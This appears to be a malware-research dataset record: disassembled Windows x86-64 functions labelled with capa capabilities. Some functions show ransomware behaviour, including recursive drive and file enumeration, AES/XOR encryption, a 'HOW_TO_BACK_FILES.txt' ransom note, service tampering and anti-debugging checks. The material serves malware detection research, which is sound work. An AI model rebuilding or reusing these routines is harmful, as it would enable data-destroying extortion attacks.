joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001750
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002570
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002570
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400017c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14005b0a4]
mov rbx, rcx
test esi, esi
jle 0x1400018f0
mov rax, qword [0x14005b0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000180b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001895
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400017f0
mov rcx, rbx
call fcn.140002210
mov rdi, rax
test rax, rax
je 0x140001912
mov rax, qword [0x14005b0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002350
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14005b0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400018f7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000188e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400018a0
add dword [0x14005b0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14005b0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000188e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001750
nop dword [rax]
xor esi, esi
jmp 0x140001818
mov rax, qword [0x14005b0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001750
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001750
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001e80
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14005b100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14005b0e0]
test rbx, rbx
je 0x140001edc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001ed3
test rsi, rsi
je 0x140001ed3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001eb8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002210
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400583d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002230
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002238
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002230
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000228d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002284
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002230
add rax, 0x28
cmp rax, r9
jne 0x140002270
xor eax, eax
ret

Function at 0x140002290
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400583d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400022af
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400022b8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400022af
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002350
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400583d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000236f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002378
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400027e0
Capabilities:
Modify service

Disassembly:
push r13
push r12
sub rsp, 0x78
mov rax, qword [str.hosting_windows_services]
mov r8d, 0xf003f
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x68], rax
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov r13, rax
test rax, rax
je 0x1400028a2
mov rdx, qword [str.windowshost]
mov r8d, 2
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov r12, rax
test rax, rax
jne 0x140002839
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1400028a2
mov r8d, 2
or edx, 0xffffffff
mov rcx, rax
or r9d, 0xffffffff
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
lea r8, [rsp + 0x68]
mov edx, 1
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
nop
add rsp, 0x78
pop r12
pop r13
ret

Function at 0x140002b10
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
xor r11d, r11d
movsxd rax, dword [rdx + 0x3c]
mov ebx, dword [rax + rdx + 0x88]
add rbx, rdx
mov rdi, rcx
mov r10, rdx
mov esi, dword [rbx + 0x20]
mov ebp, dword [rbx + 0x18]
add rsi, rdx
cmp ebp, r11d
jbe 0x140002b7c
mov ecx, dword [rsi + r11*4]
mov edx, 0xd
add rcx, r10
call fcn.140002c70
mov r8d, eax
lea rax, [r11 + 1]
cmp r8d, edi
jne 0x140002b77
mov edx, dword [rbx + 0x24]
add r11, r11
mov eax, dword [rbx + 0x1c]
add r11, r10
movzx edx, word [r11 + rdx]
lea rdx, [r10 + rdx*4]
mov eax, dword [rdx + rax]
add rax, r10
jmp 0x140002b7e
mov r11, rax
jmp 0x140002b38
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x140002b90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
cmp word [rax], 0x5a4d
jne 0x140002bbe
movsxd rdx, dword [rax + 0x3c]
lea rcx, [rdx - 0x40]
cmp rcx, 0x3bf
ja 0x140002bbe
cmp dword [rax + rdx], 0x4550
je 0x140002bc3
dec rax
jmp 0x140002b9d
ret

Function at 0x140002c00
Capabilities:
Check for software breakpoints

Disassembly:
cmp byte [rcx - 1], 0xcc
je 0x140002c5e
test r8d, r8d
jne 0x140002c0f
sub rcx, 0x20
mov r9b, byte [rcx]
cmp r9b, 0xe9
je 0x140002c22
mov r8b, byte [rcx + 3]
cmp r8b, 0xe9
jne 0x140002c29
inc edx
xor r8d, r8d
jmp fcn.140002c00
xor eax, eax
cmp r9b, 0x4c
jne 0x140002c60
cmp byte [rcx + 1], 0x8b
jne 0x140002c60
cmp byte [rcx + 2], 0xd1
jne 0x140002c5e
cmp r8b, 0xb8
jne 0x140002c5e
cmp byte [rcx + 6], 0
jne 0x140002c60
movzx eax, byte [rcx + 5]
shl eax, 8
mov r8d, eax
movzx eax, byte [rcx + 4]
or eax, r8d
add eax, edx
jmp 0x140002c60
xor eax, eax
ret
Function at 0x140001144
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xor r9b, r9b
movzx r11d, cl
shl r11d, 2
mov rbx, r8
movzx r8d, r9b
xor r10b, r10b
add r8d, r11d
shl r8d, 2
movzx eax, r10b
inc r10b
add eax, r8d
mov cl, byte [rax + rbx]
xor byte [rdx], cl
inc rdx
cmp r10b, 4
jb 0x140001165
inc r9b
cmp r9b, 4
jb 0x140001157
mov rbx, qword [rsp + 8]
ret
Function at 0x14000118c
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rax, qword [0x140028008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rbx, rcx
mov rdi, rdx
mov ecx, 0x10
lea r14d, [rcx + 0x18]
lea r13d, [rcx - 0xc]
cmp rcx, 0x10
jne 0x140001364
movups xmm0, xmmword [rbx + 0xb0]
mov r8, rbx
lea rdx, [rbp - 0x20]
xor ecx, ecx
movdqu xmmword [rbp - 0x20], xmm0
call fcn.140001144
mov sil, 1
lea rdx, [rbp - 0x20]
mov r8, r13
mov rcx, rdx
mov r9, r13
movzx eax, byte [rcx]
lea r10, [0x140021700]
mov al, byte [rax + r10]
mov byte [rcx], al
add rcx, r13
sub r9, 1
jne 0x1400011fa
inc rdx
sub r8, 1
jne 0x1400011f4
mov al, byte [rbp - 0x1b]
mov cl, byte [rbp - 0x1f]
mov byte [rbp - 0x1f], al
mov al, byte [rbp - 0x17]
mov byte [rbp - 0x1b], al
mov al, byte [rbp - 0x13]
mov byte [rbp - 0x17], al
mov al, byte [rbp - 0x16]
mov byte [rbp - 0x13], cl
mov cl, byte [rbp - 0x1e]
mov byte [rbp - 0x1e], al
mov al, byte [rbp - 0x12]
mov byte [rbp - 0x16], cl
mov cl, byte [rbp - 0x1a]
mov byte [rbp - 0x1a], al
mov al, byte [rbp - 0x11]
mov byte [rbp - 0x12], cl
mov cl, byte [rbp - 0x1d]
mov byte [rbp - 0x1d], al
mov al, byte [rbp - 0x15]
mov byte [rbp - 0x11], al
mov al, byte [rbp - 0x19]
mov byte [rbp - 0x15], al
mov byte [rbp - 0x19], cl
cmp sil, 0xa
je 0x14000132a
lea r11, [rbp - 0x1f]
mov r15, r13
mov r9b, byte [r11 - 1]
mov r8b, byte [r11 + 2]
mov dl, r9b
xor dl, byte [r11]
xor r8b, byte [r11 + 1]
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
mov r10b, r8b
imul ecx, eax, 0x1b
xor r10b, r9b
xor r10b, byte [r11]
xor cl, dl
mov dl, byte [r11 + 1]
xor dl, byte [r11]
xor cl, r9b
xor cl, r10b
mov al, dl
mov byte [r11 - 1], cl
add dl, dl
shr al, 7
movzx eax, al
imul ecx, eax, 0x1b
mov al, r8b
shr al, 7
add r8b, r8b
movzx eax, al
xor cl, dl
mov dl, byte [r11 + 2]
xor cl, byte [r11]
xor dl, r9b
xor cl, r10b
mov byte [r11], cl
imul ecx, eax, 0x1b
mov al, dl
shr al, 7
add dl, dl
movzx eax, al
xor cl, r8b
xor cl, byte [r11 + 1]
xor cl, r10b
mov byte [r11 + 1], cl
imul ecx, eax, 0x1b
xor cl, dl
xor cl, byte [r11 + 2]
xor cl, r10b
mov byte [r11 + 2], cl
add r11, r13
sub r15, 1
jne 0x140001275
mov r8, rbx
lea rdx, [rbp - 0x20]
mov cl, sil
call fcn.140001144
inc sil
jmp 0x1400011ed
mov r8, rbx
lea rdx, [rbp - 0x20]
mov cl, 0xa
call fcn.140001144
mov eax, 0xf
mov cl, byte [rbx + rax + 0xb0]
cmp cl, 0xff
jne 0x140001359
mov byte [rbx + rax + 0xb0], 0
sub rax, 1
jns 0x14000133d
jmp 0x140001362
inc cl
mov byte [rbx + rax + 0xb0], cl
xor ecx, ecx
mov al, byte [rbp + rcx - 0x20]
inc rcx
xor byte [rdi], al
inc rdi
sub r14, 1
jne 0x1400011c6
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14000e730
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
Function at 0x140001404
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rdi, r9
mov esi, r8d
mov rbp, rdx
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000145e
lea ebx, [rax + 1]
and qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, esi
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x14000145e
inc ebx
cmp ebx, 0x32
jl 0x14000143b
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x14000147c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rdi, r9
mov esi, r8d
mov rbp, rdx
mov r14, rcx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400014d6
lea ebx, [rax + 1]
and qword [rsp + 0x20], 0
mov r9, rdi
mov r8d, esi
mov rdx, rbp
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400014d6
inc ebx
cmp ebx, 0x32
jl 0x1400014b3
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x140001990
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x290
mov rax, qword [0x140028008]
xor rax, rsp
mov qword [rsp + 0x280], rax
mov rbp, rcx
mov ecx, 0x2000
call fcn.1400105fc
xor r14d, r14d
mov rdi, rax
test rax, rax
je 0x140001b74
mov r9, rbp
lea r8, str._s
mov edx, 0x1000
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
xor r9d, r9d
mov dword [rsp + 0x28], 2
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], r14
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001a4d
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x140001b6c
mov dword [rsp + 0x28], r14d
lea r8, [rsp + 0x30]
xor r9d, r9d
mov qword [rsp + 0x20], r14
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140001b6c
lea rdx, [0x140024d78]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140001b20
lea rdx, [0x140024d7c]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x140001b20
lea rax, [rsp + 0x5c]
mov r9, rbp
lea r8, str._s_s
mov qword [rsp + 0x20], rax
mov edx, 0x1000
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
test byte [rsp + 0x30], 0x10
je 0x140001ade
movzx ebx, r14w
lea rax, str.msocache
movzx edx, bx
lea rcx, [rsp + 0x5c]
mov rdx, qword [rax + rdx*8]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140001b20
inc bx
cmp bx, 0x28
jb 0x140001aae
mov rcx, rdi
call fcn.140001990
jmp 0x140001b20
test byte [rsp + 0x30], 0xa7
je 0x140001b20
lea rdx, str..mallab
lea rcx, [rsp + 0x5c]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
je 0x140001b20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, str..mallab
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp ebx, eax
jne 0x140001b20
mov rcx, rdi
call fcn.1400014f4
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140001a4d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rax, str.HOW_TO_BACK_FILES.txt
mov r9, rbp
lea r8, str._s_s
mov qword [rsp + 0x20], rax
mov edx, 0x1000
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, rdi
call fcn.1400105e8
xor eax, eax
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.14000e730
lea r11, [rsp + 0x290]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140001c38
Capabilities:
Create thread
Get disk information

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x140028008]
xor rax, rsp
mov qword [rsp + 0x78], rax
or rbx, 0xffffffffffffffff
xor r9d, r9d
mov rcx, rbx
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov qword [0x140029c00], rax
test rax, rax
je 0x140001df4
and dword [rsp + 0x38], 0
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x3c], 0xa
mov qword [rsp + 0x30], 0x12c00000
call fcn.14000e670
mov r14d, eax
mov edi, eax
lea eax, [rbx + 9]
mul r14
cmovo rax, rbx
mov rcx, rax
call fcn.1400105fc
lea r12d, [rbx + 2]
mov rsi, rax
test r14d, r14d
je 0x140001d00
mov rbx, rax
mov ebp, r14d
and qword [rsp + 0x28], 0
lea r8, [0x140001ba0]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx], rax
lea rbx, [rbx + 8]
sub rbp, r12
jne 0x140001cd5
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov ebp, eax
mov ebx, 0x41
test r12b, bpl
je 0x140001d67
movzx r15d, bx
lea r8, str._c:_
mov r9d, r15d
lea rcx, [rsp + 0x40]
mov edx, 0x19
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140001d67
mov r9d, r15d
lea r8, str.._c:
mov edx, 0x19
lea rcx, [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea rcx, [rsp + 0x40]
call fcn.140001990
add bx, r12w
shr ebp, 1
cmp bx, 0x5a
jbe 0x140001d0d
jmp 0x140001d80
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x140029bf8]
mov eax, dword [0x140029c10]
cmp eax, ecx
jne 0x140001d75
test r14d, r14d
je 0x140001db2
mov rbx, r14
mov rcx, qword [0x140029c00]
xor r9d, r9d
mov r8, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub rbx, r12
jne 0x140001d98
or r9d, 0xffffffff
mov r8d, r12d
mov rdx, rsi
mov ecx, r14d
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test r14d, r14d
je 0x140001ddf
mov rbx, rsi
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, r12
jne 0x140001dcd
mov rcx, rsi
call fcn.1400105e8
mov rcx, qword [0x140029c00]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000e730
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
ret
Function at 0x1400023c0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov r10, rcx
xor ecx, ecx
test r9, r9
je 0x1400024e4
cmp r9, 0x40
jb 0x1400024b7
lea r11, [r9 - 1]
lea rax, [r8 - 1]
add r11, r10
add rax, r9
cmp r10, rax
ja 0x1400023f8
cmp r11, r8
jae 0x1400024b7
lea rax, [rdx - 1]
add rax, r9
cmp r10, rax
ja 0x14000240d
cmp r11, rdx
jae 0x1400024b7
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp], rdi
mov rdi, r9
and rdi, 0xffffffffffffffc0
mov r11, rdx
lea rax, [r8 + 0x10]
sub r11, r8
mov rbx, r10
sub rbx, r8
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add rcx, 0x40
movdqu xmm1, xmmword [r11 + rax - 0x10]
movdqu xmm2, xmmword [r11 + rax]
lea rax, [rax + 0x40]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
pxor xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [r11 + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [r11 + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
pxor xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp rcx, rdi
jb 0x140002440
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
cmp rcx, r9
jae 0x1400024e4
sub rdx, r8
lea rax, [rcx + r8]
sub r10, r8
sub r9, rcx
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rax + rdx]
xor cl, byte [rax]
mov byte [rax + r10], cl
lea rax, [rax + 1]
sub r9, 1
jne 0x1400024d0
add rsp, 8
ret
Function at 0x1400024f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140028008]
xor rax, rsp
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
xor esi, esi
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x38]
mov qword [rsp + 0x30], rsi
lea rdx, [rsp + 0x38]
mov rdi, rcx
movups xmmword [rsp + 0x38], xmm0
call fcn.140003430
test eax, eax
jne 0x1400026a8
mov r8d, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x3c]
mov r9d, dword [rsp + 0x40]
bswap ecx
mov ecx, ecx
bswap r8d
bswap r9d
mov r8d, r8d
shl r8, 0x20
or r8, rcx
mov r9d, r9d
mov ecx, dword [rsp + 0x44]
shl r9, 0x20
bswap ecx
mov ecx, ecx
or r9, rcx
mov qword [rsp + 0x68], rbx
cmp dword [0x140029c14], esi
mov qword [rdi + 0xa0], r9
mov qword [rdi + 0x120], r8
jne 0x1400025be
mov eax, 1
mov dword [0x140029c14], 1
xor ecx, ecx
cpuid
mov dword [0x140029c20], eax
mov dword [0x140029c24], ebx
mov dword [0x140029c28], ecx
mov dword [0x140029c2c], edx
mov dword [0x140029c18], ecx
jmp 0x1400025c4
mov ecx, dword [0x140029c18]
test cl, 2
jne 0x1400026a1
mov qword [rdi + 0xe0], rsi
mov qword [rdi + 0x60], rsi
mov ebx, 4
nop dword [rax]
mov eax, r9d
mov rcx, r8
and eax, 1
shl rcx, 0x3f
imul edx, eax, 0xe1000000
mov rax, r9
shr rax, 1
mov r9, rcx
or r9, rax
mov rax, r8
shr rax, 1
mov qword [rdi + rbx*8 + 0x60], r9
mov ecx, edx
shl rcx, 0x20
mov r8, rcx
xor r8, rax
mov qword [rdi + rbx*8 + 0xe0], r8
shr ebx, 1
jne 0x1400025e0
mov esi, 2
mov ebx, esi
nop dword [rax]
lea rcx, [rdi + 0x60]
mov r9, qword [rcx + rbx*8]
lea rdx, [rdi + 0xe0]
mov r8, qword [rdx + rbx*8]
lea rcx, [rcx + rbx*8]
lea rdx, [rdx + rbx*8]
cmp rbx, 1
jle 0x140002694
sub rdx, rdi
lea rax, [rdi + 0x68]
sub rcx, rdi
lea r10, [rdx - 0x60]
lea r11, [rcx - 0x60]
lea rdx, [rbx - 1]
nop word [rax + rax]
mov rcx, r8
xor rcx, qword [rax + 0x80]
mov qword [r10 + rax], rcx
lea rax, [rax + 8]
mov rcx, r9
xor rcx, qword [rax - 8]
mov qword [r11 + rax - 8], rcx
sub rdx, 1
jne 0x140002670
lea eax, [rsi + rsi]
add rbx, rbx
mov esi, eax
cmp eax, 8
jle 0x140002630
mov rbx, qword [rsp + 0x68]
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000e730
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x140003b70
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movups xmm1, xmmword [rdx]
aeskeygenassist xmm0, xmm1, 1
pshufd xmm3, xmm0, 0xff
pxor xmm3, xmm1
movups xmmword [rcx], xmm1
pslldq xmm1, 4
pxor xmm3, xmm1
pslldq xmm1, 4
pxor xmm3, xmm1
pslldq xmm1, 4
pxor xmm3, xmm1
aeskeygenassist xmm0, xmm3, 2
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm3
movdqu xmmword [rcx + 0x10], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
pxor xmm0, xmm1
movdqa xmm2, xmm3
pxor xmm2, xmm0
pslldq xmm3, 4
pxor xmm2, xmm3
aeskeygenassist xmm0, xmm2, 4
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm2
movdqu xmmword [rcx + 0x20], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
pxor xmm0, xmm1
movdqa xmm3, xmm2
pxor xmm3, xmm0
pslldq xmm2, 4
pxor xmm3, xmm2
aeskeygenassist xmm0, xmm3, 8
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm3
movdqu xmmword [rcx + 0x30], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
pxor xmm0, xmm1
movdqa xmm2, xmm3
pxor xmm2, xmm0
pslldq xmm3, 4
pxor xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x10
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm2
movdqu xmmword [rcx + 0x40], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
pxor xmm0, xmm1
movdqa xmm3, xmm2
pxor xmm3, xmm0
pslldq xmm2, 4
pxor xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x20
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm3
movdqu xmmword [rcx + 0x50], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
pxor xmm0, xmm1
movdqa xmm2, xmm3
pxor xmm2, xmm0
pslldq xmm3, 4
pxor xmm2, xmm3
aeskeygenassist xmm0, xmm2, 0x40
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm2
movdqu xmmword [rcx + 0x60], xmm2
pslldq xmm2, 4
movdqa xmm0, xmm2
pslldq xmm2, 4
movdqa xmm3, xmm2
pxor xmm0, xmm1
pxor xmm3, xmm0
pslldq xmm2, 4
pxor xmm3, xmm2
aeskeygenassist xmm0, xmm3, 0x80
pshufd xmm1, xmm0, 0xff
pxor xmm1, xmm3
movdqu xmmword [rcx + 0x70], xmm3
pslldq xmm3, 4
movdqa xmm0, xmm3
pslldq xmm3, 4
pxor xmm0, xmm1
movdqa xmm2, xmm3
pxor xmm2, xmm0
pslldq xmm3, 4
pxor xmm2, xmm3
